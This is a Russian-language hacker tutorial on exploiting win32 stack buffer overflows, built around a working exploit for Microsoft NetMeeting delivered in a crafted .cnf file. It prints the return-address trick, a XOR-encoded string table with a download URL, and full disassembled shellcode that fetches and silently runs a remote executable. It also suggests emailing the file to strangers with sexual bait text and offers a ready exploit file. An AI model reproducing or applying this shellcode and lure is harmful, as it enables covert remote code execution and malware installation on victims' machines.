Главная
Архив новостей
Безопасность в Unix
Безопасность в Windows
Сборник FAQ'ов
Телефония, фрикинг
Кредитные карты
Криптография
Истории о хакерах
Программы, утилиты
_el@sp.sz.ru

RB2 Network

Переполнение буфера win32: беспредел



Во все времена
наши операционные системы
страдали от ошибок
Неосведомлённый мир
Повернулся к Windows
для безопасности
от себя самих

Но пришло время
показать миру
что мы все равны

Использование переполнения буфера требует внимания, знаний, навыка и воображения. Мы не можем научить Вас всему вышеперечисленному. Но мы можем рассказать технологию построения собственных эксплоитов для переполнения буфера в windows 95,98,NT и 2000. Мы ставим своей целью скачать с сервера и запустить у жертвы какой-либо файл по нашему усмотрению без её ведома.

Данный документ потребует от вас знакомства с
-архитектурой процессоров x86, предпочтительно Pentium.
-базовой архитектурой Windows (вы должны знать принцип построения формата PE-Exetuable.
-Знать, что такое URL.
-Иметь представление о языке C

Так же вам потребуются следующие инструменты:
Шестнадцатеричный редактор/просмотрищик кода, такой, как HIEW.
Отладчик реального времени SoftIce.
Некоторые из инструментов, поставляемых с Visual C++, например, Dumpenv.

ОСНОВЫ
Переполнение буфера возникнет, если что-то очень большое будет помещено в переменную меньше, чем необходимо. То, что не попало в переменную, попадёт в предсказуемое место памяти. Пример кода:

   void func(void)

   {  
   int i;   char buffer[256];  // *
   for(i=0;i<512;i++)                 
   buffer[i]='A';              // !
   return;
   }
Как вы видите, наш 'buffer' заполняется 256-ю символами А, а остальные 256 куда-то пропадают.Куда - зависит от языка, на котором Вы писали программу, от версии операционной системы, но если ваша программа не запущена внутри виртуальной машины, подобной Java, мы гарантируем, что ваши А болтаются где-то в памяти, никуда не исчезнув.

Приводим схему 32-битного стека, типчиного для операционных систем Windows. Он выглядит так, как он должен выглядет при достижении системой строки, помеченной комментарием*.

СТЕК
------------------------
Локальные переменные
i                          <-ESP (stack pointer)
buffer
------------------------
Старое значение EBP        <-EBP
------------------------
Адрес возврата
------------------------
Когда оканчивается процедура "func", она переписывает EBP обратно в ESP, и загружает (командой pop) адрес возврата из стека. Когда программа доходит до строки, закомментированной !, происходит переполнение буфера, и EBP и адрес возврата оказываются забиты символом А. Переопредилив системный адрес, вы может изменить ход исполнения программы по вашему усмотрению. Всё, что вам надо сделать - решить, с какого нового адреса Ваша программа продолжит своё исполнение. Если же вы забъёте буфер исполняемым кодом, затем Вы сможете переопределить EIP на начало этого вашего кода на следующем RET'e, пока, конечно, у Вас есть память, куда этот код писать.

Если вы поняли, что мы хотели Вам здесь рассказать, или же Вы уже знакомы с этим, то перейдём к тому, как распознать условия переполнения буфера в Windows и расскажем детали использования этого.

Вот всем Вам с детства знакомое окошко:

stack overflow
Если вы это видели, значит вам точно удавалось добиться переполнения буфера. Конечно, все такие окна похожи друг на друга, но давайте присмотримся поближе к этим данным, что выдала нам программа в своей агонии.

Чтобы добится данного результата, мы забили байтами 0x80 строку адреса в популярной программе Microsoft Netmeeting. EIP тоже забит этими байтами. То, что надо ! Всё, что надо теперь сделать - написать программку, которая подсунет бедному Netmeeting нужный код и подставит в EIP нужный нам адрес вместо этих 0X80.

Заметьте, что остальные типы ошибок программ Windows приводят к появлению подобных окон, но не все они являются результатом переполнения буфера. Некоторые переполнения буфера легче использовать, чем остальные - это переполонения стека. Другие типы переполнений, такие как heap overflows, так же можно использовать, но это гораздо сложнее - и мы осветим эту проблему в последующих статьях.

Как только вы уверены в том, что нашли возможность переполнения буфера, вы можете решить, в каких целях вы сможете это использовать.

Теперь пришло время рассказать о том, для чего можно это использовать. Чтобы создать ситуацию переполнения буфера, был создан файл overflow.cnf - в формате Microsoft Neetmeeting, содержащий ту длиную строку символов, которой мы переполнёли NetMeeting в прошлый раз. Зачастую такие файлы люди размещают на своих веб-страницах или отправляют по email'у, чтобы другие смогли их по этому NetMeetingu вызвать.

Если вы хотите использовать этот эксплоит, просто запустите NetMeeting, найдите толпу людей на ILS-сервере и пошлите им email с этим файлом. Можете написать в mail'e лабуду типа "My girlfriend and I want you to watch us fuck while you spank it! Call us soon, we're horny!" - тогда народ точно откроет ваш файл...бац ! они все повылетали ;-)

Но это всего лишь шутки. Чего мы на самом деле хотим, и что мы имеем... мы добились переполнения в RUNDLL32.EXE, который к тому же имеет различный размер в NT и 95/98. Но, как видите, небольшая разница в таблицах - не помеха нам.

Когда происходит инициированный нами сбой, сам NetMeeting вовсе не закрывается. Это означачет, что RUNDLL был запущен в отдельном адресном пространстве. Это и хорошо и плохо. Хорошо тем, что Вам не надо просматривать мегабайты исполняемого кода, предшествовавшего сбою и это не выглядит слишком подозрительно, так как NetMeeting не закрылся.Плохая сторона в том, что под RUNDLL не отводится много памяти и мы ограничены в размере передаваемого кода.

При более пристальном рассмортрении, мы млжем извлечь из этого немного больше пользы. Исполняемый файл RUNDLL32.EXE имеет базовый адрес 0x00400000. Это означает, что практически все ссылки на него имеют хотя бы один символ NULL. Это плохо, так как проактически всегда операции со строками приводят к вырезанию из них нулей. Так что если мы забъём наш код символами NULL (0x00), то наш собственный эксплоит не сработает, потому что все NULL'ы будут обрезаны. Остальные нежелательные символы - переводы каретки и некоторые управляющие коды.

Другие вещи с которыми можно поработать : подгружается модуль MSCONF.DLL. Он загружается потому, что по умолчанию .CNF файлы запускаются строкой вида "rundll32.exe msconf.dll,OpenConfLink %l". Также подгружается Kernel32.

Итак, используя функции данных модулей, мы попытаемся использовать фунцкии работы с winsock, то есть "работать с интернетом ;-)", и для этого нам ридётся использовать функции библиотке WSOCK32.DLL или же WININET.DLL. WinInet более приятен нам меньшим размером и большим объёмом функций. Так как он не загружается вместе с RUNDLL32, нам придётся запустить его. Но погодите ! Мы ещё не рассмотрели, как захватить контроль над EIP (указателем точки исполнения) и перопределить его на наш код. Итак, наша задача - переопределить EIP.


ПЕРЕОПРЕДЕЛЕНИЕ

Итак, ты обнаружили что через переполнение буффера определённой длины мы можем модифицировать EIP и перейти к исполнению нашего кода. К примеру, можно попытаться в буфер длиной 256 символов записать строку вида:
Address=.....256точек....1234xyz
Такие данные переполнят буфер, установят EBP в 0x34333231 и установят EIP в 0x00ZZYYXX, поскольку строка заканчивается NULL'ом. Итак, это даёт нам возможность указать на любое место продолжения исполнения нашей программы.

Как правило, это срабатывает. Но иногда буфер либо слишком мал, чтобы поместить туда что-либо полезное, либо сперва буфер забивается какими-либо данными. И как правило, селует размещать исполняемый корд ПОСЛЕ адреса, куда перейдёт наша программа-жертва.
Address=.....256точек....1234wxyzНАЧАЛОНАШЕГОКОДА>>>

В этом случае у Вас есть гораздо больше места для размещения Вашего собственного исполняемого кода. Как точно узнатьновое значение EIP, указывающее на ваш код? Берите в руки SoftICE, запускайте из-под него программу, которую ломаете и передайте ей строку, ведущую к переполнению. После сбоя вы увидите, что ESP (stack pointer) - единственный регистр, который показывает на адрес близкий к адресу нашего кода. Фактически, он указывает на адрес, где мы вышли за пределы положенного нам размера - EBP + 16 байт. Хорошо... что же мы будем делать?

Нам надо перепрыгнуть через область, занятую стеком. То есть, как правило, будет достаточно перехода по адесу ESP. Более правильный путь - установить 0xZZYYXXWW в точку кода, где есть команда jmp esp или же call esp или что-то подобное. Но. в результате издержек компиляции, такая точка может оказаться в области, недоступной процессу, с бессмысленными адресами типа 0x00. Но, при анализе MSCONF32.DLL мы обнаружили наш код в сегменте 0x6A600000 смещение 2А76:

   .00002A76: 54                           push   esp
   .00002A77: 2404                         and    al,004
   .00002A79: 33C0                         xor    eax,eax
   .00002A7B: 8A0A                         mov    cl,[edx]
   .00002A7D: 84C9                         test   cl,cl
   .00002A7F: 740F                         je    .000002A90   
   .00002A81: 80E930                       sub    cl,030  ;"0"
   .00002A84: 8D0480                       lea    eax,[eax][eax]*4
   .00002A87: 0FB6C9                       movzx  ecx,cl
   .00002A8A: 42                           inc    edx
   .00002A8B: 8D0441                       lea    eax,[ecx][eax]*2
   .00002A8E: EBEB                         jmps  .000002A7B
   .00002A90: C20400                       retn   00004

Непохоже, чтобы код начинался с jmp esp. Он возвращается к ESP. Выполняется PUSH ESP, затем JMPS 2A7B, поле этого переход JE 2A90 возвращает нас к RET'у. MSCONF.DLL загружен, он представлен одной версией для всех систем - соответственно адрес, куда на который мы передадим управление - 0x6A602A76. В этой строке нет ни нулей, ни возвратов каретки. Отлично. Мы переставили EIP. Процессор под нашим контролем.

Пришло время рассказать о том, как мы будем строить код эксплоита, выполняемый после переполнения буфера. Можно заметить, что нам надо втиснуть всё в 763 байта, иначе сбой произойдёт в другом месте и код не исполнится. Это так же переполнение, но немного другое ;-) - у нас даже целых два бага для исследования.

Первые 256 символов отбрасываются. Итак у нас есть 500 байт для нашего кода и неизвестная версия Windows. Так же нам неизвестны адреса функций API в NSCONF.DLL. Но для этого существует очень полезная процедура GetProcAddress. Мы найдём адрес этой процедуры, используя DUMPENV, поставляющийся вместе с VC++.

Microsoft (R) COFF Binary File Dumper Version 5.10.7303
Copyright (C) Microsoft Corp 1992-1997. All rights reserved.


Dump of file msconf.dll

File Type: DLL

  Section contains the following imports:

    KERNEL32.dll

                 23F   Sleep
                 183   IsBadReadPtr
                 17E   InterlockedIncrement
                 .
                 .
                 .
                  1E   CompareStringA
                  98   FreeLibrary
                 116   GetProcAddress
                 190   LoadLibraryA
                  4C   DeleteCriticalSection
                  51   DisableThreadLibraryCalls
                 .
                 .
                 .

То, что надо ! GetProcAddress и LoadLibraryA. С помощью этих функций мы можем подгружать необходимые модули. Так же функции возвращают базовый адрес подгружаемого модуля.

Итак, запускаем SoftIce и ищем адреса данных функций. Они будут 0x6A60107C (LoadLibraryA), и 0x6A601078 (GetProcAddress). Всё, что нам надо = вызвать их, используя неявный вызов (call dword ptr [0x6A60107C]) они сработают так, как надо нам.

Теперь, чтобы сделать эксплоит как можно более маленьким в размере, нам надо
-Знать таблицу функций, которые мы будем использовать
-Запустить код, работающий с этой таблицей

Это сильно уменьшит размер кода и минимизирует размер используемого стека. Это важно, поскольку если использовать чересчур много PUSH или POP, мы спаровоцируем ошибку в своём эксплоите или же создадим дополнительные проблемы со стеком. А чтобы построить таблицу адресов функций, надо наперёд знать, что мы будем использовать. Вообще, нам требуется заставить нашу маленькую програмку скачать и запустить нечно большее ;-) bo server или netbus, например. Кстати, подобным способом работал широко известный эксплоит от eeye.

Чтобы загрузить URL, нам понадобятся функции InternetOpenA, InternetCloseHandle, InternetOpenUrlA, и InternetReadFile из библиотеки WININET.DLL. Так же понадобятся _lcreat, _lwrite, и _lclose из KERNEL32.DLL, чтобы записать на диск загруженный файл. GlobalAlloc понадобится, чтобы выделить место для загружаемого потока данных. WinExec и ExitProcess будут нужны, чтобы исполнить и завершить то, что наш эксплоит скачает с известного адреса и прибить RUNDLL32 до того, как он пикнет об ужасных вещах ;-).

Заметьте, что в обычной порграмме под Win32 Вы никогда не встретите вызова _lcreat и прочих устаревших функций. Но, тем не менее, они существуют и никуда не делись даже из Windows 2000.
СОЗДАНИЕ ТАБЛИЦЫ АДРЕСОВ ФУНКЦИЙ

Нам требуется обратится к фунцкиям по имени. GetProcAddress обращается к вызываемой функции либо по номеру, либо по имени. Оканчивающемуся NULL'om. Но..увы, нам невозможно иметь нулевые байты в нашем эксплоите. Но...путём простейшего применения XOR'a или ADD'a ко всем байтам эксплоита, можно добиться отсутствия в нём досадных нулей. При его запуске, естественно, происходит обратная процедура. Так же этио всё-же мало-мальская шифровка - невооружённый глаз пьяного администратора не углядит ничего подозрительного в сторке кода. Всё же это не шифровка в обычном смысле этого слова - мы пытаемся заставить эксплоит работать...


00000270:  .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00         KERNEL32
00000280:  5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00  _lcreat _lwrite
00000290:  5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00  _lclose WinExec
000002A0:  45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62  ExitProcess Glob
000002B0:  61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00  alAlloc WININET
000002C0:  49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E  InternetOpenA In
000002D0:  74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C  ternetCloseHandl
000002E0:  65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72  e InternetOpenUr
000002F0:  6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46  lA InternetReadF
00000300:  69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C  ile http://www.l
00000310:  30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67  0pht.com/~dildog
00000320:  2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. ..  /eatme.exe      

XOR'им всё это по 0x80, чтобы избавиться от нулевых байтов:

 00000270:  .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80         -+-++??_З
 00000280:  DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80  __?__Я_З_______З
 00000290:  DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80  __?____З+__+нь_?З
 000002A0:  C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2  +нь__-__?___З?___
 000002B0:  E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80  Я_-___?З+++++++З
 000002C0:  C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE  +_______-___-З+_
 000002D0:  F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC  ______+____+Я___
 000002E0:  E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2  _З+_______-___+_
 000002F0:  EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6  _-З+_______-_Я_?
 00000300:  E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC  ___З____???___?_
 00000310:  B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7  ____??__?_______
 00000320:  AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. ..  ?_Я___

Итак, первая задача после успешного пуска - раскодировать всё это:
 00000146: 33C9             xor    ecx,ecx; обнулить ecx
 00000148: B88053FF63       mov    eax,063FF5380  ;"c_SЗ"
 0000014D: 2C80             sub    al,080  ;"З"
 0000014F: C1C018           rol    eax,018
Устаноить EAX на конец наших данных в памяти.
 00000152: B1B4             mov    cl,0B4  ;"?"
ECX установлен в 0x000000B4, количество байт, которые будем XORить.
 00000154: 48               dec    eax
 00000155: 803080           xor    b,[eax],080  ;"З"
 00000158: E2FA             loop   000000154   ---------- (1)
Это и есть цикл, раскодируюий наши данные.


УСТАНОВКА ТАБЛИЦЫ ФУНКЦИЙ 0000015A: BE7C10606A mov esi,06A60107C 0000015F: 50 push eax 00000160: 50 push eax 00000161: FF16 call d,[esi] 00000163: 8BF0 mov esi,eax Этот код вызывает LoadModule. EAX есть первый аргумент этой функции, который указывает на строку "KERNEL32", После отработки LoadModule, в EAX будет хэндл модуля ядра, который мы сохраняем в ESI, чтобы он не был затёрт другими процедурами. 00000165: 5B pop ebx 00000166: 8BFB mov edi,ebx 00000168: 6681EF4BFF sub di,0FF4B ;"_K" Этот код установит EDI в начало нашей таблицы, которая начинается через 181 байт после начал таблицы строк, раскодированной нами ранее. 0000016D: FC cld 0000016E: 33C9 xor ecx,ecx 00000170: 80E9FA sub cl,-006 Мы собираемся запустить цикл 6 раз, чтоб вызвать по очереди все нужные нам процедуры. Устанавливаем счётчик ( ECX ) в 6. 00000173: 43 inc ebx 00000174: 32C0 xor al,al 00000176: D7 xlat 00000177: 84C0 test al,al 00000179: 75F8 jne 000000173 ---------- (1) 0000017B: 43 inc ebx Этот цикл проверяет текст на нули (другими словами, вычленяя из него отдельные строки - имена функций), и устанавливает EBX на адрес символа, идущего после нулевого байта. Это перемещает нас от одного имети процедуры к другому. Обратите внимание на рациональное ( 31337ное ) использование xlat'a - вся ссылка на область памяти в одном байте ;-). 0000017C: 51 push ecx 0000017D: 53 push ebx 0000017E: 56 push esi 0000017F: FF157810606A call d,[06A601078] 00000185: AB stosd 00000186: 59 pop ecx Этот код возвращает адреса функций и пишет их в EDI. 00000187: E2EA loop 000000173 ---------- (2) Итак, это конец цикла процедуры определения адресов функций из ядра. Теперь проделаем то же самое для модуля WININET: 00000189: 43 inc ebx 0000018A: 32C0 xor al,al 0000018C: D7 xlat 0000018D: 84C0 test al,al 0000018F: 75F8 jne 000000189 ---------- (2) 00000191: 43 inc ebx Сдвигаем указатель на имя библиотеки с строке WININET 00000192: 53 push ebx 00000193: 53 push ebx 00000194: FF157C10606A call d,[06A60107C] 0000019A: 8BF0 mov esi,eax 0000019C: 90 nop 0000019D: 90 nop 0000019E: 90 nop 0000019F: 90 nop Этот код пишет хэндл WININET'a в ESI. NOPы остались после отладки. 000001A0: 33C9 xor ecx,ecx 000001A2: 83E9FC sub ecx,-004 000001A5: 43 inc ebx 000001A6: 32C0 xor al,al 000001A8: D7 xlat 000001A9: 84C0 test al,al 000001AB: 75F8 jne 0000001A5 000001AD: 43 inc ebx 000001AE: 51 push ecx 000001AF: 53 push ebx 000001B0: 56 push esi 000001B1: FF157810606A call d,[06A601078] 000001B7: AB stosd 000001B8: 59 pop ecx 000001B9: E2EA loop 0000001A5 Всёе ! Таблица адресов функций построена ! Мы можем вызывать их, когда захотим ;-) Теперь напишем собственно процедуру скачки файла и его запуска. 000001BB: 90 nop 000001BC: 90 nop 000001BD: 33C0 xor eax,eax 000001BF: 6648 dec ax 000001C1: D1E0 shl eax,1 000001C3: 33D2 xor edx,edx 000001C5: 50 push eax 000001C6: 52 push edx 000001C7: FF57EC call d,[edi][-0014] 000001CA: 8BF0 mov esi,eax Выделяем 131070 байт памяти. Количество требуемых байт в EAX, и затем мы вызываем неявно функцию GlobalAlloc, адрес которой берём из построенной таблицы. Адрес начала выделенной нам области хранится теперь в ESI. 000001CC: 33D2 xor edx,edx 000001CE: 52 push edx 000001CF: 52 push edx 000001D0: 52 push edx 000001D1: 52 push edx 000001D2: 57 push edi 000001D3: FF57F0 call d,[edi][-0010] Создаём хэндл Internet, вызывая функцию InternetOpenA. Передаваемые параметры - нули, о них можно не беспокоиться. Сам хэндл будет возвращён нам в EAX, и мы передадим его нашеё следующей функции. 000001D6: 33D2 xor edx,edx 000001D8: 52 push edx 000001D9: 52 push edx 000001DA: 52 push edx 000001DB: 90 nop 000001DC: 52 push edx 000001DD: 8BD7 mov edx,edi 000001DF: 83EA50 sub edx,050 ;"P" 000001E2: 90 nop 000001E3: 90 nop 000001E4: 90 nop 000001E5: 52 push edx 000001E6: 50 push eax 000001E7: FF57F8 call d,[edi][-0008] Этот код вызовет InternetOpenUrlA (по таблице [EDI-0x08]), открывая наш URL... тип - какой угодно, HTTP, FTP, FILE, GOPHER... 000001EA: 57 push edi 000001EB: 33D2 xor edx,edx 000001ED: 664A dec dx 000001EF: D1E2 shl edx,1 000001F1: 52 push edx 000001F2: 56 push esi 000001F3: 50 push eax 000001F4: FF57FC call d,[edi][-0004] Запускаем InternetReadFile (по таблице - [EDI-0x04]), и загружаем наши 131070 байт в буфер на начало которого указывает ESI (1331070 байт). Но сначала мы сохранили в стеке EDI. Мы используем его как счётчик скачанных байт. Это поможет нам при проверке - всё ли удачно мы слили с сайта ? 000001F7: 90 nop 000001F8: 90 nop 000001F9: 90 nop 000001FA: 33D2 xor edx,edx 000001FC: 52 push edx 000001FD: 8BD7 mov edx,edi 000001FF: 83EA30 sub edx,030 ;"0" 00000202: 42 inc edx 00000203: 90 nop 00000204: 90 nop 00000205: 52 push edx 00000206: FF57D8 call d,[edi][-0028] Вызвали _lcreat (по адресу в таблице [edi-0x28]), чтобы переписать скачанный буфер в файл. Файл создаётся в директории, которая является текущей для юзера (в нашем случае - файл e.exe создастся в папке SpeedDial Netmeeting'a). 00000209: FF37 push d,[edi] 0000020B: 56 push esi 0000020C: 50 push eax 0000020D: 8BD8 mov ebx,eax 0000020F: FF57DC call d,[edi][-0024] Вызов _lwrite (адрес из таблицы [edi-0x24]). Параметр - сколько байт записать на диск. Файл создан - осталось его закрыть. 00000212: 53 push ebx 00000213: FF57E0 call d,[edi][-0020] Закрыли. Лайнер готов, подан трап и контроль позади... 00000216: 90 nop 00000217: 90 nop 00000218: 90 nop 00000219: 33D2 xor edx,edx 0000021B: 42 inc edx 0000021C: 52 push edx 0000021D: 8BD7 mov edx,edi 0000021F: 83EA30 sub edx,030 ;"0" 00000222: 42 inc edx 00000223: 90 nop 00000224: 90 nop 00000225: 52 push edx 00000226: FF57E4 call d,[edi][-001C] Вызвали WinExec, указав ему исполнить файл. Заметьте - первый inc edx предназначен, чтобы определить, будет ли показано окно (SW_SHOWNORMAL) или же не будет (SW_HIDE). Вы выбираем второй вариант. А первый параметр функции - имя файла. 00000229: 90 nop 0000022A: 90 nop 0000022B: 90 nop 0000022C: FF57E8 call d,[edi][-0018] ПУСК! Наш процесс заработал !
Итак, мы вкратце пояснили принципы действия overflow-эксплоитов для windows всех версий и привели рабочий код эксплоита для Microsoft NetMeeting. Кстати, подобным образом работал и overflow-эксплоит от eeye. А для совсем ленивых - готовый файлик exploit.cnf, содержащий вышепоказанный код. Работайте, смотрите, учитесь.

 cDc
 -void duke()


<== Back to main page